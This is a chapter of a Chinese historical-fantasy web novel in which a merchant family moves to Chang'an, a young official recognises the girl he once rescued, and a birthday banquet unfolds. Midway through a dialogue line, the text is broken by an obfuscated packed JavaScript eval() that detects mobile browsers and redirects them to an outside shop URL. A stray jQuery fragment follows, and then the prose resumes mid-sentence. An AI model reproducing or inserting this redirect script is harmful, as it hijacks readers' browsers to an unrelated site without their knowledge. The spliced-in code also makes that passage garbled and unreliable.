6. 风起
    郑时画拉开夏被,揉了揉两颗晶亮的脑袋,无奈道:“怎的不睡?”。

    “二姨母,你陪我们睡”,崔思弦本睡在外侧,一边笑着说道一边往床内侧挤了挤。

    “二姑母,你和我们一起睡吧,我们想听故事了”,郑乐熙爬了起来,笑呵呵道,又歪了歪头,“阿姐,我想睡中间,挨着你和姑母睡,可以吗?”。

    “好吧”,崔思弦挪了挪身子,让阿乐挤了进来。

    郑时画轻轻笑了笑,脱下鞋袜,便在外侧躺下,侧过身来,伸过手一把将两个小肩膀揽在怀里:“我的小祖宗们想听什么故事啊?”

    “佛珠”,崔思弦抢先说道,“姨母给我们讲讲阿乐这颗佛珠子吧,阿娘说阿乐的这颗珠子或能保命,让我们千万不能扯它抢它,可真有这么玄乎?”。

    郑乐熙亦兴致勃勃的附和道,阿姐不提还好,这一提,她都好奇自己是不是真的拥有了一件绝世宝贝。

    郑时画闻言轻轻笑出了声,记忆飘的老远,在两个孩子的渴盼下,娓娓道来。

    “是不是真这么玄乎我也不清楚,但的确珍贵。只是这颗佛珠子虽是大明寺住持所赠,却又不完全来自于寺内。阿乐那时虽大有好转,却极易伤风,也不知怎地,有一次梦魇,囔囔着想听钟声,想闻寺里的檀香”,说着,郑时画轻轻捏了捏身侧阿乐的小脸,继续怜爱道。

    “祖母就带着阿乐去寺内一起诵经,途中碰巧遇到那住持送一年轻道士下山,听闻是住持故友的孩子。住持当时不过看了阿乐一眼,便说阿乐魂弱不稳,故而体弱多病,易被邪物缠上,祖母便恳请住持相助。那年轻道士当时正好在寺内断过一串佛珠,住持思索了下,便笑着从那道士系好的香囊里顺了一颗出来,也没问那道士愿不愿意,送走道士后在寺内诵经加持后亲自给阿乐戴上,嘱咐千万不能摘下。”

    “住持还说,阿乐命里与佛法道法有缘,这护体金宵小佛珠,不仅掺有百家寺庙香灰,又有那道士的师父用符箓咒语施过法,后又在大明寺四十九日诵经祈福,佛道相合仅此一颗,正好能护阿乐的魂魄,驱邪护魂。也算是因缘际会吧,住持知道阿乐的过往,也算是看着阿乐一日日开朗起来的,许是因为这个,才将那颗佛珠赠给了阿乐。”

    “说来也奇怪,自从带上这颗佛珠,我们阿乐的梦魇便少了”

    郑时画细细听了听床上渐弱的声响,伸出手搭在一侧的小身板上,缓缓轻拍,声音渐渐压低,悠长道:“我瞧着,这珠子这两年也越发透亮净澈了,想来和我们阿乐的气息也很相合,这金宵护体小佛珠定会好好护我们阿乐一生平安的。”

    郑乐熙迷迷糊糊的听着,手里下意识抚摸着胸前的佛珠子,眼睛一张一合便熟睡了过去。

    郑时画半探起身,朝里看去,随即一笑,崔思弦早不知何时已闭上了眼,睡得鼾气沉沉。她正准备躺下时,船身忽而猝不及防的猛然一颠簸,郑时画下意识看向两个小鬼,好在没醒。

    也不知最近天气怎么了,这一路从扬州乘船过来,走的不如往常平稳,这几日的风浪更是比平时凶猛许多。郑时画没有多想,正当阖上眼时,恍恍惚惚觉得阿乐那颗佛珠子似乎散发出一息淡淡的光芒,若隐若现,又觉得那珠子隐约微微颤动了一瞬。

    -

    郑家雇的大船在江上行驶了一个多月,这两日已从巴郡航行至白帝城。众人下了船后,便上了早已安排在港口的马车,浩浩荡荡从白帝城沿陆路北上,经过汉中平原,又熬了五六日才终于抵达了都城长安的边界。

    马车紧赶慢赶,在未时末停在了长安城门口。

    郑乐熙正抱着崔思弦一起打瞌睡,忽听车外郑权匆匆而来语气高兴地说道,“母亲,大姐姐和姐夫在城门口候着呢。”

    石文珺满脸笑意,道了声好,在赵妈妈的服侍下整了整衣衫。

    郑乐熙也赶紧蹭了鞋起身,崔思弦已先她一步欢天喜地的跳下马车,朝自己的爹娘奔了过去,往郑时萍身上扑了个满怀:“阿娘,我可想死你了”。

    “瞧你毛毛躁躁的,这么大了,怎么出个门回来连鞋都穿不好了,小心等会儿摔你个大跟头”,郑时萍弯下腰紧紧搂了搂自己女儿,一眼便撇到她脚上,语气无比宠溺,“这几个月吃得可好睡得可好?脸瞧着倒是圆了一点。”

    “哼,我明明想极了阿娘才这样,阿娘却老笑话我”,崔思弦嘟了嘟嘴,蹬了蹬脚下那双绣鞋,又扑向站在一旁的男人,娇气道,“阿爹,阿娘欺负我说我胖了,我明明没有”。

    崔松涛抱过女儿,只慈爱的捏了捏自家姑娘的小肉脸,笑而不语。

    一家人正温馨说笑着,郑时萍便看到母亲牵着郑乐熙已从马车上下来,便笑着往前走了几步,眼里看着那一抹娇柔的倩色小身影,边走边笑眯眯的朝她张开了双臂。

    郑乐熙见状,咧着笑也往郑时萍怀里扑了过去:“大姑母”。

    郑时萍紧紧抱住了郑乐熙,良久才松开她,仔细瞧了瞧,笑道:“我们阿乐瞧着也圆了不少”。

    这话一出,郑乐熙也被得罪了。

    几个大人哈哈大笑,两个小丫头被笑了好一阵,气倒是没了。

    随后崔松涛才笑着牵住女儿,上前给石文珺行礼:“岳父,岳母,一路辛苦了”。

    “不辛苦,不辛苦”,石文珺乐呵呵道,精气十足,心满意足的看着眼前这一大家子人。

    郑时萍笑着挽上母亲,说道:“时意他们这两日在洛阳办事,说是后天就能来长安,到时候就真是大团圆了。咱们今日先入宅,家里一切都收拾妥当了,母亲到家先好好休息,咱们呀来日方长”。

    “好,好!从今往后,咱们一家终于都凑在一块儿了”,石文珺笑意更深,声音里透着隐约的喜悦。

    总觉得这辈子的苦都熬过去了。

    -

    城门口酒肆处。

    裴行俭看着不远处不大不小的动静,又看了看那辆挂着“崔”字牌的精致马车,下意识向身旁的同僚求证道:“那可是工部尚书崔大人的家眷?”

    那官员与裴行俭同在翰林学士院当差,早已注意到那里的动静,笑着点了点头道:“正是,裴老弟入京不过三四个月,这洞察力和眼力着实令人佩服”。

    说着,刘子平伸出手悄悄指了指不远处那人,“你瞧,那穿着玄色长袍的男子便是崔尚书的嫡子,现任工部郎中的崔松涛,站在他旁边的妇人就是他的夫人了,原洛阳米商郑氏之女。几年前,郑家出了事,听闻举家迁往了扬州,崔大公子当时还托扬州的同僚照拂一二。最近,又听闻郑夫人的胞弟准备带一家人定居长安,也是不嫌折腾。那穿白色长袍、腰系深色腰带的壮硕男子便是崔松涛的大舅爷郑权,模样瞧着倒是端正,这两年经常往返长安经商,城内生意红火的「乐风楼」东家就是他。看他们这风尘仆仆、车队集结的样子,应是刚从扬州跋涉而来,没想到今日倒被我们俩撞上了。”

    裴行俭转了转手中的酒杯,语气颇令人玩味:“刘大哥对这崔大公子夫人的家事怎的如此清楚?”

    “嗐,做咱们这一行当的,本就对时事分外敏感。裴老弟你年纪轻,可能也不曾听闻5年前偃师上元夜那6孩失踪的案件吧”,刘子行故弄玄虚低声道,果然见裴行俭神色一顿,抬眼望了过来。

    “偃师?”,裴行俭怔住。

    “不错,当年那案子虽发生在地方,但在长安也算得上朝野皆知,就连当今圣上都曾过问。你可知为何?”

    刘子平得意的卖着关子继续道:“只因这失踪的6个孩童里,其中一个女娃娃,便是这崔大公子舅爷的独生女!当年工部尚书崔大人为了亲家这个女娃娃,前前后后可是动用了不少长安城里的关系,后来这案子自然而然就“巧妙”的传到了陛下耳里,陛下也甚为关心,大理寺、御史台、刑部都派人前往偃师县协助。说来也奇怪,搜寻了半年愣是找不到那孩子的踪迹,就连一丝线索都没有,官府的人都准备暗暗放弃了。也是那孩子福大命大,谁也没想到,那孩子失踪了半年之余,碰巧被一迷途的小道士无意撞见,赶紧通知了洛州都督从太行山给解救了回来。你说巧不巧?都说那小道士是稀里糊涂积了功德,抵了偷懒之过。可要我说啊,那小道士才注定是这孩子命中的贵人,不然那么多官差日夜盘查搜寻,最后却偏偏被他撞见了去?”

    说完,刘子平笑了笑又饮了杯酒,仿佛自己勘破了无人知晓的天道。却不知此刻坐在他身旁的人,正是他口中那稀里糊涂的小道士,亦是他所说的贵人。

    裴行俭目光幽深,视线也不知道落在了那群人中的哪处。

    “确实…福大命大”,裴行俭顿了顿,笑意浅浅。

    原来,当年那孩子竟是眼前这户郑家的!

    “可不是么,只那孩子失踪半年之久,被寻回来的时候听闻神思已糊涂,和痴傻也没什么两样,故郑家为了孩子的健康着想,舍下根基搬迁去了扬州,倒也果敢。如今瞧着那被众人呵护备至的小女娃便是那孩子了罢,看上去似已完全恢复,足以见得郑家为这孩子付出了多少心血!”

    裴行俭含笑不语,目光不自觉地又凝视了片刻那被阳光笼罩的灵动身影,心中微漾。实在难以将她与五年前那个缩在他怀里、死寂沉沉的孩子联系起来,一时沉默无言。

    还以为自此一别无逢。

    如今却先后入了长安,倒是有趣。

    -

    长安暑气逐渐逼人,日日炎炎。

    来到长安已经半个月,家里因着刚搬迁的事宜,石文珺一直在屋前屋后忙碌打点,原先扬州的下人除了赵妈妈和三四个女使之外,其它全被遣散了去,如今新宅上下都是些崭新面孔,礼仪章程繁杂,前后院还多了些三大五粗和身手不错的护卫,也不知道这排场是做什么用的。

    大姑母时常会过来帮着料理一些府上的事宜,再与祖母介绍长安的一些坊区和风土人情。

    郑乐熙也不知道是不是多心了,总觉得来长安之后,家里行事似乎变得格外小心谨慎,好像一切都复杂了许多。不过她很快就将这个疑惑抛之脑后,只因再过两日,便是姐姐崔思弦十二岁生辰,崔家计划为她举办一个隆重的仪式。

    请帖早早就送到了祖母手里。

    郑乐熙看着精致典雅的请帖,忽觉得府外的世界充满着新奇与鲜活,长安城的一切,好似非常的迥异和有趣。

    日暮西斜,灯火满城,郑乐熙用完膳便由着祖母和二姑母为自己挑选参加姐姐冠礼的服饰,如今她身上的衣物都是入长安后大姑母命人为她重新裁量订做过的,每一套款式都是时新的,华丽的,精致的,就连首饰都重新打了三套。

    “我觉得这套水蓝色宽袖对襟衫不错,素雅大气,既不抢风头又不显得沉闷,阿娘觉得呢?”,郑时画斟酌道。

    石文珺:“挺好,阿乐觉着怎么样?”

    “这些裙子我都喜欢,明日穿什么都听祖母和姑母的”

    郑乐熙傻呵呵笑着,随即不解的问道:“祖母,二姑母,明日阿姐的生辰礼要这么隆重吗?你们都给我挑一晚上衣服了,还给我讲了好些礼仪和规矩,怎么去大姑母家要这么小心翼翼?”

    “明日是你姐姐的生辰礼,可能会来好些姐姐其它的亲戚好友,咱们家是商户,在扬州鲜少应付过这些。这往后来了长安,指不定这样的场面更多,祖母是担心阿乐年纪小,又没经历过这样的场面,担心到时候应付不来受了委屈,这才时时刻刻耳提面命。”

    石文珺顿了顿,又道:“长安不比扬州自由闲散,咱们自己在家倒还好,只是明日既是你姐姐的场子,我们须得仔细着点,该行的礼不能省,该留意的事宜别出错便好,虽说是去大姑母家,不必太过小心,但我们阿乐既要开始学做个长安人,就不能因为是自家大姑母便耽了礼数,可听明白?”。

    “学做个长安人,可真累”,郑乐熙哀叹道。

    石文珺笑了笑,柔柔的看着自己的孙女:“要想做人上人,哪能不累,打个喷嚏都得学着优雅,祖母知道你是个聪明懂事的,定不会让祖母操心。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719653|144829||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这长安城皇权富贵的,落地生活虽好,只怕也会拘了我们阿乐。”

    “阿乐若是只鸟,只要她想飞,又怎会被拘了去,阿娘快别长吁短叹的了,还是早些歇息,明日才好容光焕发”,郑时画揶揄了几句,石文珺的话题这才打住。

    翌日,郑家一家坐上马车前往工部尚书府邸。

    这是郑乐熙第一次见识到何为真正的贵女。崔思弦的生辰礼,虽并未大肆操办,只请了家族长辈和亲朋好友,但来者也不乏达官显贵,只见个个衣着华贵,金钗凤蝶,前呼后拥的,郑乐熙忽而便明白为何昨夜家人要如此大费周章的为她挑选服饰了,这衣服一旦穿的不合时宜,便显得格格不入,大大失了身份,平白无故地遭人轻视!

    原来一件衣服一只钗环都是个战场!

    郑乐熙暗暗留意着来往人的言行举止,穿戴排场,大到举手投足间的神态,小到对方身上佩戴图案别致的香囊,她都在认真观察,努力将一张张生面孔和对应的细节囫囵印在脑海里。这是她出事之后,莫名养成的习惯。虽不能随意去找阿姐玩闹,她却给自己找了个好乐子。

    生辰礼的主角崔思弦亦不由自己,累的苦不堪言。她不仅要拜会各位熟悉的、陌生的叔伯婶娘,跟着父亲母亲给前来的大人、夫人问安,还要时不时被祖父祖母唤过去,向祖父在朝的几位同僚重臣行礼答话,一下午愣是连和阿乐说上几句话的时间都没有。

    只宴席上,两人才坐到了一块儿。

    郑乐熙悄悄拉过崔思弦,前言不搭后语的小声道:“阿姐,我觉着还是扬州更好”。

    崔思弦却是心领神会,低声回道:“那你这下是知道我为何老爱去扬州小住了?”

    “原来阿姐不是因为想我才去的扬州,根本就是去避难的”,郑乐熙故意哼了一声,愁眉苦脸道,崔思弦却乐了。

    她可真喜欢现在的阿乐,机灵的,活泼的,生动的,会与她撒娇耍赖的,时刻与她亲近的!只要一想起5年前的阿乐,她便……再也不想回想了!

    郑乐熙不解阿姐为何突然笑眯眯的,正想开口问话,忽觉两道冰冷冷的目光投了过来。她心里一顿,装作不经意转眸,目光细细扫过,只见阿姐斜对面的那一桌夫人小姐正说说笑笑,仿佛刚才余光那一撇是个错觉。

    “怎么了?”,崔思弦敏锐的捕捉到一丝不对劲,却又说不上来。

    “没什么,就是好奇,那一桌子夫人小姐怎有那么多好玩的话可以讲,宴席至今仿佛一直笑个不停,怪显眼的”,郑乐熙故作天真的腹诽道。

    崔思弦好奇的抬眼望过去,顿时一笑:“那一桌着紫衫的老妇人便是我祖母的同胞姐姐,我唤她祖姑母,那几位姑娘小姐是她的女儿们,也算是我的表姐和表妹们。”

    “就是时常来崔府打秋风的那一家么?”,郑乐熙压低声音耳语道。

    崔思弦“嘘”了一声,暗暗点头:“正是。这几个月也不知怎地,如今几乎日日来府上找祖母,也不知哪来那么多话可讲,就差直接住到我们府上了,我阿娘又不好说什么。”

    郑乐熙点了点头,抿唇笑笑,有心细看了几眼。

    -

    入夜,崇德坊裴宅。

    裴行俭刚赴完刘子平和另一同僚的宴请,下了马入府后便径直来到书房。吴殷和赵川已在门口等候多时,见裴行俭回来,两人这才从地上爬起,拍了拍身上的尘土,跟在裴行俭后面进了书房,随即转身将房门关上。

    “七哥要的东西,能找到的都在这儿了”,吴殷递上几张泛黄的纸张,恭敬道,“这傅若林原是刑部侍郎,正直严谨,不沾党派,办理的案件从无冤假错案,可谓是个清官。可惜一朝糊涂,包庇了贪污受贿的岳父被人揭发,许是觉得愧对天家,颜面尽无,后畏罪自尽,一条白绫吊死在了自己府中,案件调查细节一应俱全,证物、尸检结果都有,看起来并无异常。”

    裴行俭神色一敛,默不作声,只拿过信纸,撩袍在书案前坐下,细细翻了翻。

    半响,裴行俭才放下那几页纸,神情微凝,一只手搭在书案上,手指轻轻扣着,似是在想些什么。

    吴殷率先问道:“七哥让我们从吏部悄悄拓下来与这傅若林有关的资料记载,究竟是为何?”

    赵川亦一头雾水:“是啊七哥,这傅若林到底是谁啊?和七哥有何渊源?他的死有甚蹊跷?”

    裴行俭摩挲着信纸,沉吟了一会儿,抬眸看向跟随自己多年的心腹,是战友又是亲人,勾唇笑道:“你们追随我这么久,可知我为何突然决定入仕?”

    吴殷顿了顿,倒是问倒他了,故而坦言道:“不知。但无论七哥做什么,我和赵川都会跟随,七哥在哪儿,我们就在哪儿。七哥想说自然会告诉我们,七哥不想说,必是时候未到!”

    “对,七哥做什么,我们就跟着做什么”,赵川立马附和,拍的一手好马屁,“七哥想入仕,我们就当你的兵,七哥想御妖除魔,我们就做你的剑。”

    吴殷刻意忽略掉不懂审时度势的赵川,皱了皱眉,继续追问:“七哥入仕,可是与原刑部侍郎傅若林有关?可这傅若林非亲非故的,我自小便跟着七哥一起长大,实在想不出他和七哥能有什么关联”。

    “我与他并无干系”,裴行俭视线在吴殷脸上转了转,轻描淡写地说道。

    赵川依旧一头雾水,不知他七哥葫芦里到底卖的什么药,裴行俭也没指望他能想明白,只看向吴殷。

    吴殷眼神顿了顿,呆了一瞬,忽而清朗:“是师叔?”

    裴行俭笑了声,眼从他身上移开,起身漫不经心道:“没错!这傅若林在入朝为官前,曾是叔父的得意门生。”

    吴殷终于想通了事情的前因后果,师叔归隐华山问道之前,曾在长安做过几年太史府太史,风头一时无二,可:“师叔若是怀疑这傅若林的死有问题,当时为何不自己查?傅若林自我了结时,师叔彼时可还在朝堂!”

    裴行俭将信纸置于烛火上方,看着它们慢慢燃成一片片灰烬,这才转过身来。